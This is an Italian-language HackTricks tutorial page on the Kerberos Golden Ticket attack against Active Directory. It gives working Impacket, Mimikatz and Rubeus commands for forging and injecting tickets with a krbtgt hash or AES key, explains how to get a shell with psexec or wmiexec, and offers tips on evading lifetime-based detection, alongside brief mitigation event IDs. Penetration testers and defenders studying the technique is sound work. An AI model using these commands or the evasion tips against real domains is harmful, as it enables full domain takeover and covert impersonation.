hacktricks/windows-hardening/active-directory-methodology/golden-ticket.md
2024-02-10 13:03:23 +00:00

6.6 KiB
Raw Blame History

Golden Ticket

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Golden ticket

Un attacco Golden Ticket consiste nella creazione di un legittimo Ticket Granting Ticket (TGT) impersonando qualsiasi utente attraverso l'uso dell'hash NTLM dell'account krbtgt di Active Directory (AD). Questa tecnica è particolarmente vantaggiosa perché consente l'accesso a qualsiasi servizio o macchina all'interno del dominio come l'utente impersonato. È fondamentale ricordare che le credenziali dell'account krbtgt non vengono mai aggiornate automaticamente.

Per acquisire l'hash NTLM dell'account krbtgt, possono essere utilizzati vari metodi. Può essere estratto dal processo Local Security Authority Subsystem Service (LSASS) o dal file NT Directory Services (NTDS.dit) situato su qualsiasi Domain Controller (DC) all'interno del dominio. Inoltre, eseguire un attacco DCsync è un'altra strategia per ottenere questo hash NTLM, che può essere eseguito utilizzando strumenti come il modulo lsadump::dcsync in Mimikatz o lo script secretsdump.py di Impacket. È importante sottolineare che per effettuare queste operazioni, di solito sono necessari privilegi di amministratore di dominio o un livello di accesso simile.

Sebbene l'hash NTLM sia un metodo valido per questo scopo, è fortemente consigliato forgiare i ticket utilizzando le chiavi di crittografia avanzata del Advanced Encryption Standard (AES) Kerberos (AES128 e AES256) per motivi di sicurezza operativa.

{% code title="Da Linux" %}

python ticketer.py -nthash 25b2076cda3bfd6209161a6c78a69c1c -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park stegosaurus
export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache
python psexec.py jurassic.park/stegosaurus@lab-wdc02.jurassic.park -k -no-pass

{% code title="Da Windows" %}

#mimikatz
kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt
.\Rubeus.exe ptt /ticket:ticket.kirbi
klist #List tickets in memory

# Example using aes key
kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /aes256:430b2fdb13cc820d73ecf123dddd4c9d76425d4c2156b89ac551efb9d591a439 /ticket:golden.kirbi

{% endcode %}

Una volta che hai iniettato il Golden Ticket, puoi accedere ai file condivisi (C$) ed eseguire servizi e WMI, quindi puoi utilizzare psexec o wmiexec per ottenere una shell (sembra che non sia possibile ottenere una shell tramite winrm).

Eludere le rilevazioni comuni

I modi più frequenti per rilevare un Golden Ticket sono ispezionare il traffico Kerberos sulla rete. Per impostazione predefinita, Mimikatz firma il TGT per 10 anni, il che risulterà anomalo nelle successive richieste TGS effettuate con esso.

Lifetime : 3/11/2021 12:39:57 PM ; 3/9/2031 12:39:57 PM ; 3/9/2031 12:39:57 PM

Utilizza i parametri /startoffset, /endin e /renewmax per controllare l'offset di avvio, la durata e il numero massimo di rinnovi (tutti in minuti).

Get-DomainPolicy | select -expand KerberosPolicy

Sfortunatamente, la durata del TGT non viene registrata nei log di 4769, quindi non troverai queste informazioni nei log degli eventi di Windows. Tuttavia, ciò che puoi correlare è vedere 4769 senza un precedente 4768. Non è possibile richiedere un TGS senza un TGT e se non c'è alcun record di emissione di un TGT, possiamo dedurre che sia stato falsificato offline.

Per eludere questo controllo di rilevamento, controlla i ticket diamond:

{% content-ref url="diamond-ticket.md" %} diamond-ticket.md {% endcontent-ref %}

Mitigazione

  • 4624: Accesso all'account
  • 4672: Accesso amministrativo
  • Get-WinEvent -FilterHashtable @{Logname='Security';ID=4672} -MaxEvents 1 | Format-List Property

Altri piccoli trucchi che i difensori possono fare sono avvisare in caso di 4769 per utenti sensibili, come l'account amministratore del dominio predefinito.

Riferimenti

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks: